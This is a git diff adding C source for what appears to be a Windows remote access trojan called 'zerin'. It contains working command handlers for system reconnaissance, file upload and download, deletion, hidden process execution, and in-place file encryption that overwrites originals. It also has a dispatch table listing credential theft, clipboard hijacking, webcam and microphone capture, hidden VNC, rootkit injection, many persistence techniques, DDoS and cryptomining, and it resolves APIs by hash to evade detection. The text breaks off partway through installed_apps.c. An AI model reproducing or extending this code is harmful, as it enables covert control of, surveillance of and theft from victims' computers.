(use RtlGetVersion to avoid GetVersionEx lies/deprecation) + { + typedef NTSTATUS (WINAPI *RtlGetVersion_t)(PRTL_OSVERSIONINFOW); + RtlGetVersion_t pRtlGetVersion = RESOLVE_API(HASH_NTDLL, HASH_RtlGetVersion, RtlGetVersion_t); + if (pRtlGetVersion) { + RTL_OSVERSIONINFOW osvi2; + osvi2.dwOSVersionInfoSize = sizeof(osvi2); + if (pRtlGetVersion(&osvi2) == 0) { + len += snprintf(output + len, cap - len, + "OS: Windows %lu.%lu (Build %lu)\n", + osvi2.dwMajorVersion, osvi2.dwMinorVersion, + osvi2.dwBuildNumber); + } + } + } + + // Architecture + GetNativeSystemInfo(&si); + const char *arch = "Unknown"; + switch (si.wProcessorArchitecture) { + case PROCESSOR_ARCHITECTURE_AMD64: arch = "x64"; break; + case PROCESSOR_ARCHITECTURE_INTEL: arch = "x86"; break; + case PROCESSOR_ARCHITECTURE_ARM64: arch = "ARM64"; break; + } + len += snprintf(output + len, cap - len, + "Architecture: %s\n", arch); + len += snprintf(output + len, cap - len, + "Processors: %lu\n", + (unsigned long)si.dwNumberOfProcessors); + + // Memory + mem.dwLength = sizeof(mem); + if (GlobalMemoryStatusEx(&mem)) { + len += snprintf(output + len, cap - len, + "Total RAM: %llu MB\n", + (unsigned long long)(mem.ullTotalPhys / (1024 * 1024))); + len += snprintf(output + len, cap - len, + "Available RAM: %llu MB\n", + (unsigned long long)(mem.ullAvailPhys / (1024 * 1024))); + } + + // System directory + if (GetSystemDirectoryA(buf, sizeof(buf))) + len += snprintf(output + len, cap - len, "System Dir: %s\n", buf); + + // Uptime + { + ULONGLONG tick = GetTickCount64(); + ULONGLONG secs = tick / 1000; + ULONGLONG mins = secs / 60; + ULONGLONG hours = mins / 60; + ULONGLONG days = hours / 24; + len += snprintf(output + len, cap - len, + "Uptime: %llud %lluh %llum\n", + (unsigned long long)days, + (unsigned long long)(hours % 24), + (unsigned long long)(mins % 60)); + } + + // Integrity level + { + HANDLE token = NULL; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) { + TOKEN_ELEVATION elev; + DWORD ret_len = 0; + if (GetTokenInformation(token, TokenElevation, &elev, + sizeof(elev), &ret_len)) { + len += snprintf(output + len, cap - len, + "Elevated: %s\n", + elev.TokenIsElevated ? "Yes" : "No"); + } + CloseHandle(token); + } + } + + // PID + len += snprintf(output + len, cap - len, + "PID: %lu\n", (unsigned long)GetCurrentProcessId()); + + output[len] = '\0'; + result->success = true; + result->output = output; + return 0; +} + +#endif // _WIN32 diff --git a/src/commands/file_ops.c b/src/commands/file_ops.c new file mode 100755 index 0000000..0dd7876 --- /dev/null +++ b/src/commands/file_ops.c @@ -0,0 +1,712 @@ +#include "zerin.h" +#include +#include +#include + +int cmd_ls(const task_t *task, task_result_t *result, char *cwd) { + const char *path = (task->num_args > 0 && task->args[0]) ? task->args[0] : cwd; + + char search_path[MAX_PATH]; + if (path[0] == '\0') { + GetCurrentDirectoryA(MAX_PATH, search_path); + search_path[MAX_PATH - 1] = '\0'; + } else { + strncpy(search_path, path, MAX_PATH - 3); + search_path[MAX_PATH - 3] = '\0'; + } + + // Append \* for FindFirstFile + size_t sp_len = strlen(search_path); + if (sp_len == 0) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Empty search path"); + return -1; + } + if (search_path[sp_len - 1] != '\\') { + search_path[sp_len++] = '\\'; + } + search_path[sp_len++] = '*'; + search_path[sp_len] = '\0'; + + WIN32_FIND_DATAA fd; + HANDLE find = FindFirstFileA(search_path, &fd); + if (find == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Directory not found"); + return -1; + } + + size_t cap = 8192; + size_t len = 0; + char *output = (char *)malloc(cap); + if (!output) { FindClose(find); return -1; } + + len += snprintf(output + len, cap - len, "%-12s %-20s %s\n", + "SIZE", "MODIFIED", "NAME"); + len += snprintf(output + len, cap - len, + "------------ -------------------- ----\n"); + + do { + if (len + 512 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + // Convert FILETIME to readable string + SYSTEMTIME st; + FileTimeToSystemTime(&fd.ftLastWriteTime, &st); + char time_str[32]; + snprintf(time_str, sizeof(time_str), "%04d-%02d-%02d %02d:%02d:%02d", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond); + + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + len += snprintf(output + len, cap - len, "%-12s %-20s %s/\n", + "", time_str, fd.cFileName); + } else { + ULARGE_INTEGER size; + size.LowPart = fd.nFileSizeLow; + size.HighPart = fd.nFileSizeHigh; + len += snprintf(output + len, cap - len, "%-12llu %-20s %s\n", + size.QuadPart, time_str, fd.cFileName); + } + } while (FindNextFileA(find, &fd)); + + FindClose(find); + output[len] = '\0'; + + result->success = true; + result->output = output; + return 0; +} + +int cmd_cd(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No path specified"); + return -1; + } + + // Resolve absolute path + char resolved[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Path too short"); + return -1; + } + if (task->args[0][0] == '\\' || task->args[0][0] == '/' || + (task->args[0][1] == ':')) { + // Absolute path + strncpy(resolved, task->args[0], MAX_PATH); + resolved[MAX_PATH - 1] = '\0'; + } else { + // Relative to current cwd + snprintf(resolved, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + // Verify directory exists + DWORD attr = GetFileAttributesA(resolved); + if (attr == INVALID_FILE_ATTRIBUTES || !(attr & FILE_ATTRIBUTE_DIRECTORY)) { + result->success = false; + result->error_code = 2; + result->error_message = _strdup("Directory not found"); + return -1; + } + + // Get full canonical path + char full[MAX_PATH]; + GetFullPathNameA(resolved, MAX_PATH, full, NULL); + strncpy(cwd, full, MAX_PATH); + cwd[MAX_PATH - 1] = '\0'; + + result->success = true; + result->output = _strdup(cwd); + return 0; +} + +int cmd_pwd(const task_t *task, task_result_t *result, char *cwd) { + (void)task; + result->success = true; + result->output = _strdup(cwd[0] ? cwd : "C:\\"); + return 0; +} + +int cmd_upload(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No file path specified"); + return -1; + } + if (!task->data || task->data_len == 0) { + result->success = false; + result->error_code = 2; + result->error_message = _strdup("No file data provided"); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("File path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + HANDLE file = CreateFileA(filepath, GENERIC_WRITE, 0, NULL, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create file"); + return -1; + } + + DWORD written; + BOOL ok = WriteFile(file, task->data, (DWORD)task->data_len, &written, NULL); + CloseHandle(file); + + if (!ok || written != (DWORD)task->data_len) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to write file"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Uploaded %zu bytes to %s", task->data_len, filepath); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +int cmd_download(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No file path specified"); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("File path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + HANDLE file = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to open file"); + return -1; + } + + LARGE_INTEGER file_size; + if (!GetFileSizeEx(file, &file_size) || file_size.QuadPart > ZERIN_MAX_PAYLOAD) { + CloseHandle(file); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("File too large"); + return -1; + } + + size_t size = (size_t)file_size.QuadPart; + uint8_t *data = (uint8_t *)malloc(size); + if (!data) { CloseHandle(file); return -1; } + + DWORD bytes_read; + if (!ReadFile(file, data, (DWORD)size, &bytes_read, NULL) || bytes_read != (DWORD)size) { + free(data); + CloseHandle(file); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to read file"); + return -1; + } + + CloseHandle(file); + + char msg[512]; + snprintf(msg, sizeof(msg), "Downloaded %zu bytes from %s", size, filepath); + result->success = true; + result->output = _strdup(msg); + result->data = data; + result->data_len = size; + return 0; +} + +// ── Delete ──────────────────────────────────────────────────────────── + +int cmd_delete(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No path specified"); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + DWORD attr = GetFileAttributesA(filepath); + if (attr == INVALID_FILE_ATTRIBUTES) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Path not found"); + return -1; + } + + BOOL ok; + if (attr & FILE_ATTRIBUTE_DIRECTORY) { + ok = RemoveDirectoryA(filepath); + } else { + ok = DeleteFileA(filepath); + } + + if (!ok) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to delete"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Deleted %s", filepath); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +// ── Encrypt ─────────────────────────────────────────────────────────── +// Format: [PENC (4B)][version (1B)][salt (12B)][nonce (12B)][ciphertext + tag (N+16B)] + +#define PENC_MAGIC "PENC" +#define PENC_VERSION 0x01 +#define PENC_HEADER_LEN (4 + 1 + 12 + 12) // 29 bytes +#define PENC_SALT_LEN 12 +#define PENC_NONCE_LEN 12 +#define PENC_TAG_LEN 16 +#define PENC_MIN_FILE (PENC_HEADER_LEN + PENC_TAG_LEN) // 45 bytes + +int cmd_encrypt(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 2 || !task->args[0] || !task->args[1]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Usage: encrypt "); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("File path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + const char *password = task->args[1]; + + // Read file + HANDLE file = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to open file"); + return -1; + } + + LARGE_INTEGER file_size; + if (!GetFileSizeEx(file, &file_size) || file_size.QuadPart > ZERIN_MAX_PAYLOAD) { + CloseHandle(file); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("File too large"); + return -1; + } + + size_t plain_len = (size_t)file_size.QuadPart; + uint8_t *plaintext = (uint8_t *)malloc(plain_len); + if (!plaintext) { CloseHandle(file); return -1; } + + DWORD bytes_read; + if (!ReadFile(file, plaintext, (DWORD)plain_len, &bytes_read, NULL) || + bytes_read != (DWORD)plain_len) { + free(plaintext); + CloseHandle(file); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to read file"); + return -1; + } + CloseHandle(file); + + // Generate salt + nonce + uint8_t salt[PENC_SALT_LEN]; + uint8_t nonce[PENC_NONCE_LEN]; + crypto_random_bytes(salt, PENC_SALT_LEN); + crypto_random_bytes(nonce, PENC_NONCE_LEN); + + // Derive key via HKDF + uint8_t key[32]; + if (hkdf_derive(salt, PENC_SALT_LEN, + (const uint8_t *)password, strlen(password), + (const uint8_t *)"zerin_file_encrypt_v1", 23, + key, 32) != 0) { + SecureZeroMemory(key, 32); + free(plaintext); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Key derivation failed"); + return -1; + } + + // Encrypt: ciphertext = plaintext_len + 16 (tag) + size_t ct_len = plain_len + PENC_TAG_LEN; + size_t out_len = PENC_HEADER_LEN + ct_len; + uint8_t *out_buf = (uint8_t *)malloc(out_len); + if (!out_buf) { + SecureZeroMemory(key, 32); + free(plaintext); + return -1; + } + + // Write header + memcpy(out_buf, PENC_MAGIC, 4); + out_buf[4] = PENC_VERSION; + memcpy(out_buf + 5, salt, PENC_SALT_LEN); + memcpy(out_buf + 5 + PENC_SALT_LEN, nonce, PENC_NONCE_LEN); + + // AEAD encrypt (no AAD) + if (aead_encrypt(key, nonce, NULL, 0, + plaintext, plain_len, + out_buf + PENC_HEADER_LEN) != 0) { + SecureZeroMemory(key, 32); + free(plaintext); + free(out_buf); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Encryption failed"); + return -1; + } + + SecureZeroMemory(key, 32); + SecureZeroMemory(plaintext, plain_len); + free(plaintext); + + // Overwrite original file + file = CreateFileA(filepath, GENERIC_WRITE, 0, NULL, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + free(out_buf); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to write encrypted file"); + return -1; + } + + DWORD written; + BOOL ok = WriteFile(file, out_buf, (DWORD)out_len, &written, NULL); + CloseHandle(file); + free(out_buf); + + if (!ok || written != (DWORD)out_len) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to write encrypted file"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Encrypted %s (%zu bytes -> %zu bytes)", + filepath, plain_len, out_len); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +// ── Decrypt ─────────────────────────────────────────────────────────── + +int cmd_decrypt(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 2 || !task->args[0] || !task->args[1]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Usage: decrypt "); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("File path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + const char *password = task->args[1]; + + // Read file + HANDLE file = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to open file"); + return -1; + } + + LARGE_INTEGER file_size; + if (!GetFileSizeEx(file, &file_size) || file_size.QuadPart < PENC_MIN_FILE) { + CloseHandle(file); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("File too small or not encrypted"); + return -1; + } + + size_t enc_len = (size_t)file_size.QuadPart; + uint8_t *enc_buf = (uint8_t *)malloc(enc_len); + if (!enc_buf) { CloseHandle(file); return -1; } + + DWORD bytes_read; + if (!ReadFile(file, enc_buf, (DWORD)enc_len, &bytes_read, NULL) || + bytes_read != (DWORD)enc_len) { + free(enc_buf); + CloseHandle(file); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to read file"); + return -1; + } + CloseHandle(file); + + // Verify magic + version + if (memcmp(enc_buf, PENC_MAGIC, 4) != 0 || enc_buf[4] != PENC_VERSION) { + free(enc_buf); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Not a PENC encrypted file"); + return -1; + } + + // Extract salt, nonce, ciphertext + const uint8_t *salt = enc_buf + 5; + const uint8_t *nonce = enc_buf + 5 + PENC_SALT_LEN; + const uint8_t *ct = enc_buf + PENC_HEADER_LEN; + size_t ct_len = enc_len - PENC_HEADER_LEN; + + if (ct_len < PENC_TAG_LEN) { + free(enc_buf); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Corrupted encrypted file"); + return -1; + } + + size_t plain_len = ct_len - PENC_TAG_LEN; + + // Derive key + uint8_t key[32]; + if (hkdf_derive(salt, PENC_SALT_LEN, + (const uint8_t *)password, strlen(password), + (const uint8_t *)"zerin_file_encrypt_v1", 23, + key, 32) != 0) { + SecureZeroMemory(key, 32); + free(enc_buf); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Key derivation failed"); + return -1; + } + + // Decrypt + uint8_t *plaintext = (uint8_t *)malloc(plain_len > 0 ? plain_len : 1); + if (!plaintext) { + SecureZeroMemory(key, 32); + free(enc_buf); + return -1; + } + + if (aead_decrypt(key, nonce, NULL, 0, ct, ct_len, plaintext) != 0) { + SecureZeroMemory(key, 32); + free(enc_buf); + free(plaintext); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Wrong password or corrupted file"); + return -1; + } + + SecureZeroMemory(key, 32); + free(enc_buf); + + // Write plaintext back + file = CreateFileA(filepath, GENERIC_WRITE, 0, NULL, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file == INVALID_HANDLE_VALUE) { + SecureZeroMemory(plaintext, plain_len); + free(plaintext); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to write decrypted file"); + return -1; + } + + DWORD written; + BOOL ok = WriteFile(file, plaintext, (DWORD)plain_len, &written, NULL); + CloseHandle(file); + SecureZeroMemory(plaintext, plain_len); + free(plaintext); + + if (!ok || written != (DWORD)plain_len) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to write decrypted file"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Decrypted %s (%zu bytes -> %zu bytes)", + filepath, enc_len, plain_len); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +// ── Execute ─────────────────────────────────────────────────────────── + +int cmd_execute(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No file path specified"); + return -1; + } + + // Resolve path + char filepath[MAX_PATH]; + if (strlen(task->args[0]) < 2) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("File path too short"); + return -1; + } + if (task->args[0][1] == ':' || task->args[0][0] == '\\') { + strncpy(filepath, task->args[0], MAX_PATH); + filepath[MAX_PATH - 1] = '\0'; + } else { + snprintf(filepath, MAX_PATH, "%s\\%s", cwd, task->args[0]); + } + + // Build command line: "filepath" "arg1" "arg2" ... + // Each argument is wrapped in double quotes with internal quotes escaped + // to prevent command injection via crafted arguments. + char cmdline[4096]; + int pos = snprintf(cmdline, sizeof(cmdline), "\"%s\"", filepath); + for (uint32_t i = 1; i < task->num_args && task->args[i]; i++) { + if ((size_t)pos + 4 >= sizeof(cmdline)) break; + cmdline[pos++] = ' '; + cmdline[pos++] = '"'; + const char *a = task->args[i]; + while (*a && (size_t)pos + 3 < sizeof(cmdline)) { + if (*a == '"') { + cmdline[pos++] = '\\'; + cmdline[pos++] = '"'; + } else if (*a == '\\') { + /* Escape backslashes that precede a double quote */ + const char *run = a; + while (*run == '\\') run++; + if (*run == '"' || *run == '\0') { + /* Double each backslash before a quote or end-of-string */ + while (a < run && (size_t)pos + 3 < sizeof(cmdline)) { + cmdline[pos++] = '\\'; + cmdline[pos++] = '\\'; + a++; + } + continue; + } else { + cmdline[pos++] = *a; + } + } else { + cmdline[pos++] = *a; + } + a++; + } + cmdline[pos++] = '"'; + } + cmdline[pos] = '\0'; + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + memset(&pi, 0, sizeof(pi)); + + if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, + CREATE_NO_WINDOW, NULL, cwd, &si, &pi)) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to execute"); + return -1; + } + + DWORD pid = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + char msg[512]; + snprintf(msg, sizeof(msg), "Executed %s (PID: %lu)", filepath, (unsigned long)pid); + result->success = true; + result->output = _strdup(msg); + return 0; +} diff --git a/src/commands/handler.c b/src/commands/handler.c new file mode 100755 index 0000000..03a2851 --- /dev/null +++ b/src/commands/handler.c @@ -0,0 +1,110 @@ +#include "zerin.h" +#include "cmd_hashes_gen.h" +#include +#include + +typedef struct { + uint32_t hash; + command_handler_fn handler; +} command_entry_t; + +static const command_entry_t command_table[] = { + { CMD_HASH_SHELL, cmd_shell }, + { CMD_HASH_WHOAMI, cmd_whoami }, + { CMD_HASH_PS, cmd_ps }, + { CMD_HASH_LS, cmd_ls }, + { CMD_HASH_CD, cmd_cd }, + { CMD_HASH_PWD, cmd_pwd }, + { CMD_HASH_UPLOAD, cmd_upload }, + { CMD_HASH_DOWNLOAD, cmd_download }, + { CMD_HASH_SCREENSHOT, cmd_screenshot }, + { CMD_HASH_NETSTAT, cmd_netstat }, + { CMD_HASH_IFCONFIG, cmd_ifconfig }, + { CMD_HASH_REG_READ, cmd_reg_read }, + { CMD_HASH_REG_WRITE, cmd_reg_write }, + { CMD_HASH_PERSIST_RUNKEY, cmd_persist_runkey }, + { CMD_HASH_PERSIST_SCHTASK, cmd_persist_schtask }, + { CMD_HASH_PERSIST_SERVICE, cmd_persist_service }, + { CMD_HASH_ENV, cmd_env }, + { CMD_HASH_SYSINFO, cmd_sysinfo }, + { CMD_HASH_PERSIST_STARTUP, cmd_persist_startup }, + { CMD_HASH_PERSIST_LOGONSCRIPT, cmd_persist_logonscript }, + { CMD_HASH_PERSIST_SCREENSAVER, cmd_persist_screensaver }, + { CMD_HASH_PERSIST_IFEO, cmd_persist_ifeo }, + { CMD_HASH_PERSIST_BITS, cmd_persist_bits }, + { CMD_HASH_PERSIST_COM, cmd_persist_com }, + { CMD_HASH_PERSIST_DLLHIJACK, cmd_persist_dllhijack }, + { CMD_HASH_PERSIST_WMI, cmd_persist_wmi }, + { CMD_HASH_PERSIST_PORTMON, cmd_persist_portmon }, + { CMD_HASH_PERSIST_SSP, cmd_persist_ssp }, + { CMD_HASH_DELETE, cmd_delete }, + { CMD_HASH_ENCRYPT, cmd_encrypt }, + { CMD_HASH_DECRYPT, cmd_decrypt }, + { CMD_HASH_EXECUTE, cmd_execute }, + { CMD_HASH_UNINSTALL, cmd_uninstall }, + { CMD_HASH_RESTART, cmd_restart }, + { CMD_HASH_SHUTDOWN, cmd_shutdown }, + { CMD_HASH_TROLL_MSGBOX, cmd_troll_msgbox }, + { CMD_HASH_TROLL_TTS, cmd_troll_tts }, + { CMD_HASH_TROLL_WEBSITE, cmd_troll_website }, + { CMD_HASH_TROLL_WALLPAPER, cmd_troll_wallpaper }, + { CMD_HASH_TROLL_TASKBAR, cmd_troll_taskbar }, + { CMD_HASH_TROLL_CD_TRAY, cmd_troll_cd_tray }, + { CMD_HASH_CHAT, cmd_chat }, + { CMD_HASH_ROOTKIT_STATUS, cmd_rootkit_status }, + { CMD_HASH_ROOTKIT_INJECT, cmd_rootkit_inject }, + { CMD_HASH_ROOTKIT_INJECT_ALL, cmd_rootkit_inject_all }, + { CMD_HASH_VNC_START, cmd_vnc_start }, + { CMD_HASH_VNC_STOP, cmd_vnc_stop }, + { CMD_HASH_HVNC_START, cmd_hvnc_start }, + { CMD_HASH_HVNC_STOP, cmd_hvnc_stop }, + { CMD_HASH_HVNC_EXEC, cmd_hvnc_exec }, + { CMD_HASH_POWERSHELL, cmd_powershell }, + { CMD_HASH_KILL, cmd_kill }, + { CMD_HASH_WINDOWS, cmd_windows }, + { CMD_HASH_INSTALLED_APPS, cmd_installed_apps }, + { CMD_HASH_SPECS, cmd_specs }, + { CMD_HASH_TROLL_SWAPMOUSE, cmd_troll_swapmouse }, + { CMD_HASH_TROLL_DISABLESOUND, cmd_troll_disablesound }, + { CMD_HASH_TROLL_BLACKSCREEN, cmd_troll_blackscreen }, + { CMD_HASH_TROLL_DISABLEKEYBOARD, cmd_troll_disablekeyboard }, + { CMD_HASH_TROLL_DISABLEMOUSE, cmd_troll_disablemouse }, + { CMD_HASH_TROLL_REROUTESITES, cmd_troll_reroutesites }, + { CMD_HASH_CREDS, cmd_creds }, + { CMD_HASH_CLIPPER_START, cmd_clipper_start }, + { CMD_HASH_CLIPPER_STOP, cmd_clipper_stop }, + { CMD_HASH_CLIPPER_CONFIG, cmd_clipper_config }, + { CMD_HASH_WEBCAM_START, cmd_webcam_start }, + { CMD_HASH_WEBCAM_STOP, cmd_webcam_stop }, + { CMD_HASH_WEBCAM_LIST, cmd_webcam_list }, + { CMD_HASH_MIC_START, cmd_mic_start }, + { CMD_HASH_MIC_STOP, cmd_mic_stop }, + { CMD_HASH_SOCKS5_START, cmd_socks5_start }, + { CMD_HASH_SOCKS5_STOP, cmd_socks5_stop }, + { CMD_HASH_DDOS_START, cmd_ddos_start }, + { CMD_HASH_DDOS_STOP, cmd_ddos_stop }, + { CMD_HASH_MINER_START, cmd_miner_start }, + { CMD_HASH_MINER_STOP, cmd_miner_stop }, + { CMD_HASH_MINER_STATUS, cmd_miner_status }, + { CMD_HASH_ELEVATE, cmd_elevate }, + { 0, NULL } +}; + +int command_dispatch(const task_t *task, task_result_t *result, char *cwd) { + memset(result, 0, sizeof(*result)); + strncpy(result->task_id, task->task_id, 36); + result->task_id[36] = '\0'; + + uint32_t h = fnv1a_hash(task->command); + for (const command_entry_t *entry = command_table; entry->handler != NULL; entry++) { + if (entry->hash == h) { + return entry->handler(task, result, cwd); + } + } + + // Unknown command + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Unknown command"); + return -1; +} diff --git a/src/commands/installed_apps.c b/src/commands/installed_apps.c new file mode 100755 index 0000000..87778da --- /dev/null +++ b/src/commands/installed_apps.c @@ -0,0 +1,165 @@ +#include "zerin.h" +#include +#include +#include + +// Escape a UTF-8 string for safe JSON embedding. +static void json_escape_str(char *dst, size_t dst_len, const char *src) { + size_t j = 0; + for (size_t i = 0; src[i] && j + 6 < dst_len; i++) { + unsigned char c = (unsigned char)src[i]; + if (c == '"') { dst[j++] = '\\'; dst[j++] = '"'; } + else if (c == '\\') { dst[j++] = '\\'; dst[j++] = '\\'; } + else if (c == '\n') { dst[j++] = '\\'; dst[j++] = 'n'; } + else if (c == '\r') { dst[j++] = '\\'; dst[j++] = 'r'; } + else if (c == '\t') { dst[j++] = '\\'; dst[j++] = 't'; } + else if (c < 0x20) { j += snprintf(dst + j, dst_len - j, "\\u%04x", c); } + else { dst[j++] = c; } + } + dst[j] = '\0'; +} + +// Convert a wide string to UTF-8. Returns a malloc'd buffer or NULL. +static char *wide_to_utf8(const wchar_t *wide) { + if (!wide || !wide[0]) { + char *e = (char *)malloc(1); + if (e) e[0] = '\0'; + return e; + } + int len = WideCharToMultiByte(CP_UTF8, 0, wide, -1, NULL, 0, NULL, NULL); + if (len <= 0) return NULL; + char *buf = (char *)malloc((size_t)len); + if (!buf) return NULL; + WideCharToMultiByte(CP_UTF8, 0, wide, -1, buf, len, NULL, NULL); + return buf; +} + +typedef struct { + char *buf; + size_t len; + size_t cap; + int count; +} app_ctx_t; + +static void ensure_cap(app_ctx_t *ctx, size_t needed) { + while (ctx->len + needed >= ctx->cap) { + ctx->cap *= 2; + char *new_buf = (char *)realloc(ctx->buf, ctx->cap); + if (!new_buf) return; + ctx->buf = new_buf; + } +} + +static void enum_uninstall_key(app_ctx_t *ctx, HKEY root, const wchar_t *subkey) { + HKEY hKey; + if (RegOpenKeyExW(root, subkey, 0, KEY_READ, &hKey) != ERROR_SUCCESS) + return; + + wchar_t keyName[256]; + DWORD keyNameLen; + DWORD index = 0; + + while (1) { + keyNameLen = 256; + if (RegEnumKeyExW(hKey, index++, keyName, &keyNameLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) + break; + + HKEY hSubKey; + if (RegOpenKeyExW(hKey, keyName, 0, KEY_READ, &hSubKey) != ERROR_SUCCESS) + continue; + + wchar_t displayName[512] = {0}; + wchar_t displayVersion[128] = {0}; + wchar_t publisher[256] = {0}; + wchar_t installDate[32] = {0}; + + DWORD size = sizeof(displayName); + RegQueryValueExW(hSubKey, L"DisplayName", NULL, NULL, (LPBYTE)displayName, &size); + + if (displayName[0] == L'\0') { + RegCloseKey(hSubKey); + continue; + } + + size = sizeof(displayVersion); + RegQueryValueExW(hSubKey, L"DisplayVersion", NULL, NULL, (LPBYTE)displayVersion, &size); + + size = 